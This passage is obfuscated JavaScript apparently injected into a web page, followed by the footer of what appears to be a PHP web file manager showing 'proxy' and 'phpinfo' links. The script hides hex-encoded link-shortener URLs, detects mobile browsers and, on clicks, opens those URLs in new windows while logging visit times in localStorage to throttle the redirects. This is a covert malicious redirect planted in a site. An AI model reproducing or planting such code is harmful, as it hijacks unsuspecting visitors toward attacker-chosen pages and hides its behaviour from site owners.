)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x4c\x61\x4c\x30\x63\x330','\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x49\x68\x56\x31\x63\x301',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());
| ver. 1.4 |
Github
|
.
| PHP 7.3.33 | Generation time: 0.07 |
proxy
|
phpinfo
|
Settings